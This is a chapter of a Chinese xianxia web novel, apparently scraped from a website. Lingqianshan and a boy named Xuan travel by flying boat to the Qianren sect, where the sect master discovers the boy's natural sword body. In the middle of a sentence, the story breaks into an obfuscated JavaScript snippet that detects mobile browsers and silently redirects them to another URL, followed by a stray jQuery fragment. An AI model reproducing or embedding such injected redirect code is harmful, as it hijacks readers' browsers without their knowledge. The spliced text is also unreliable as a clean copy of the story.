玄已经完全看呆了,他两只小手扒在了窗户的边框上,整张脸几乎贴在了窗格上,眼神中充满了向往。
恐怕就是这一份向往让玄最终成长为了剑尊。
凌千山看着玄的侧脸,又抬起头看向远处那道凌空而立的身影,心里突然冒出来一个念头。
要不他也学一学剑?
这个念头一冒出来,怎么收都收不住。他不喜欢杀伐,学会的棍法大多也是防御为主。
而阵法虽说有杀招,但万一哪天遇见了和如今一样的情景也是使用不出来的。
不如学一学剑法,学到深处摘叶飞花至少有个自保的手段。
飞舟上安静了会儿,然后清微子的懒洋洋地说道:“都愣着干什么?没见过你们清玄子长老砍人啊?”
“弟子知错。”三个筑基弟子这才回过神来,都有些不好意思,赶紧继续警戒。
五个小孩更是激动得忘了害怕。刚才还缩在一起瑟瑟发抖,现在全都挤到了窗边,七嘴八舌地嚷嚷起来。
“长老好厉害!一剑就把妖怪杀了!”
“那不是妖怪,那是魔修!我爹说过,魔修是邪魔,专门吃小孩!”
“长老用的那是什么剑法啊,我也要学!”
年纪最大的那个孩子紧紧攥着拳头,声音激动得都变了调:“等我进了宗门,我也要成为清玄子长老那样的剑修!”
另一个孩子立刻接口:“我也要!”
“我也要!”
凌千山看着这群叽叽喳喳的小孩,嘴角不自觉地弯了起来。他忍不住想要逗逗玄,于是低声问玄道:“你也想学剑吗?”
玄猛地转过头来,这才意识到自己扒在窗上的样子全被这个人看在眼里,他的脸腾地一下红了。
不过他很快就回答了:“想。”
凌千山失笑,不愧是玄,就是喜欢打直球。
远处的剑光已经消失了,清玄子的身影出现在飞舟前方,白衣上连一丝污渍都没多出来,仿佛刚才只是去散了趟步。
乌云已经散尽了,漫天繁星重新显露出来,给他的轮廓上镀了一层光晕。
清玄子踏上船头,看了清微子一眼:“飞舟上如何?”
清微子翻了个白眼,往舱板上一指:“都好好的呢,魔气一散那几个小崽子全活跃起来了,现在正吵着要当剑修呢。”
他说着往船舱里面努了努嘴,“喏,收的那五个小家伙被你这剑法一炫,怕是这辈子都不想种田养兽了。”
清玄子往舱内扫了一眼,五个孩子立刻噤声,规规矩矩地站好,不过那一双双亮晶晶的眼睛仍然充满了激动。
他淡淡地收回目光,拍了拍师弟的肩膀,关心道:“灵力耗了不少吧,快去歇着。”
清微子正要贫两句嘴,却看见清玄子越过了他,径直往凌千山的方向走去。于是他双手抱胸靠在了船舱上,准备看一场好戏。
清玄子在凌千山面前停下。
他比凌千山高出半个头,居高临下地看着他。
凌千山迎着他的目光,没有躲闪。
清玄子语气听不出什么情绪:“方才我离开之后,你要做什么?”
凌千山心里咯噔一下。
“你的手心上有血印。”清玄子微微眯起眼睛,声音带着威慑:“你打算做什么?”
凌千山看着清玄子的眼睛,坦坦荡荡地回答:“画血阵。”
清玄子的挑眉。
“我会以血为引,在甲板上画一道防御阵法。”
他说完,发现清玄子盯着他的目光变得有些奇怪,他竟然看出来一丝惊喜?
是看错了吗?
“你是阵修?”清玄子的问题打断了凌千山的思考。
“是。”凌千山点头。
“能做多少种阵法?”
“防御阵,杀阵都可以。”他如实回答。
清玄子沉默了好一会儿才开口:“到了宗门,去剑阁领一柄剑。既然入了我千刃门就好好学剑吧。”
凌千山一愣,这是接受他了?
清玄子语气冷淡:“阵修也好剑修也罢,护得住想护的人才算不枉此生。”
凌千山望着他的背影,好一会儿没回过神来。
接下来的日子也不是一帆风顺,飞舟在云层中穿行,偶尔也会遇上不长眼的散修拦路,或者窜出来几只不知死活的妖兽。不过这些风波还没来得及靠近飞舟,就被清玄子轻描淡写地解决了。
每到一个村镇,飞舟就会悬停在半空中三到五个时辰。清微子会在镇上给附近的孩子们测灵根。有时候会有一到两个孩子被领上船来,有时候夜深了都没有一个孩子合格,飞舟就继续赶路。
每到这个时候,玄就会趴在船舷边上往下看。他默默看着那些被父母领着的孩子们,眼神里有种说不出的落寞。
这时候凌千山就会在他身边安静的陪着。
日子就这样一天天过去,凌千山也在这两个月里和三位筑基期弟子混熟了。三人分别叫无尘子、无心子、无振子。无尘子就是那天给玄递辟谷丹的,行事比较稳重和凌千山走得最近。
从无尘子那里凌千山知道了许多千刃门的事情。
“执剑长老狐明子最喜欢吃鸡,一只鸡可以换一次详细教导。”
他说完又赶紧补了一句:“可别到处说啊,物以稀为贵。”
“还有执法长老清花子,我跟你讲,你以后在宗门里见了她绕着走就对了。实在绕不开也别慌,规规矩矩行事,别被抓住把柄。”
无尘子说着打了个寒颤:“我当年入门第三天,就因为不小心在课堂留下一片纸屑被罚了抄写门规500遍,我宁可挥剑一万下也不想罚抄门规。”
凌千山忍不住问:“门规一共多少条?”
“三百七十条,而且随时可能增加。”无尘子一脸痛苦的说道。
“我记住了。”凌千山想起了学生时代,不禁觉得感同身受。
就这样过去了两个月后,终于来到了千刃门。
千刃门坐落在浮空山上,一共五座山峰,每一座山峰上都有一座大殿,五座山峰之间以铁索相连,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538630|203895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浮空山下是万丈深渊,云雾缭绕。
山门处立着一块巨石,上面刻着两个龙飞凤舞的大字:千刃。
飞舟缓缓降落在山门前的广场上。
船舱里的孩子们一个个排队走下飞舟。不算凌千山和玄,这一路一共收了十三名弟子。最大的十二岁,最小的还在襁褓之中,是个连牙都没长的奶娃娃,还好有辟谷丹否则都不知道怎么养才好。
无心子负责抱着这个最小的。他是个沉默到近乎木讷的修士,一路上都没听他说过几句话。
凌千山一度以为这人不好相处,直到有一回夜里,他看见无心子面无表情地抱着那个婴儿,一边笨拙地晃着胳膊哄睡,一边用他那张面瘫脸对婴儿做鬼脸,只是看上去更吓人了。
此刻无心子正抱着那个婴儿走下了飞舟,小婴儿一只小手攥着他的衣领睡着了。
山门前站着一个中年男人,一身宽袖大袍,看起来仙风道骨的。
决明子本来面带微笑地站在山门前迎接众人,目光从新弟子们身上一一扫过满意的点头。可当他看见无心子抱着一个襁褓中的婴儿的时候他脸上的笑容僵住了。
他僵笑着传音,语气很崩溃:“怎么回事?为什么连还在吃奶的婴儿都收进来了?这怎么养啊!”
清玄子面不改色,淡淡回应:“交给狐明子那只狐狸不就行了,他当妖兽那会可是生了不少小狐狸,肯定会奶孩子。”
决明子:“……”
他深吸一口气,坚决道,“你自己跟他说去,我不做这个恶人。”
清玄子轻嗤一声:“胆小鬼。”
决明子涵养再好也绷不住了:“要不是我打不过你,非得打你一顿。”
清玄子语气平淡的挑衅:“可惜你就是差一点。”
决明子咬着后槽牙,把这口气硬生生咽了下去。
清微子注意到宗主和师兄之间的气氛不太对,宗主脸上的笑容越来越勉强,师兄嘴角的弧度倒是越来越明显。他心里暗骂了一句师兄又在欺负宗主了,赶紧凑上来打圆场。
“宗主,”清微子一把扯住清玄子的袖子防止他再开口,讨好的笑道:“这次师兄从外面带回来一个亲传弟子,是个练剑的好材料,你来看看?”
决明子被清玄子噎得不上不下,见有台阶顺势就下了:“让我看看。”
然后他看见凌千山牵着玄的小手走出来了。
决明子的目光先是落在凌千山身上,点评道:“不错嘛,筑基期,灵根属性偏金,确实是个练剑的好苗子。”
他越看越满意,“清玄子,你这回收徒弟的眼光倒是不……哎你拉我干什么?”
清微子扯着宗主的袖子醒道:“错了错了,是小的那个。”
决明子笑容僵住,他缓缓低头,目光从凌千山身上往下移,落在旁边那个还没到他大腿高的小孩身上。
玄仰着头,正用一种看傻子的目光看他。
决明子和玄对视了片刻,老脸一红,不过很快恢复正常。他细看玄的体质,这一看可不得了:“天生剑体?!”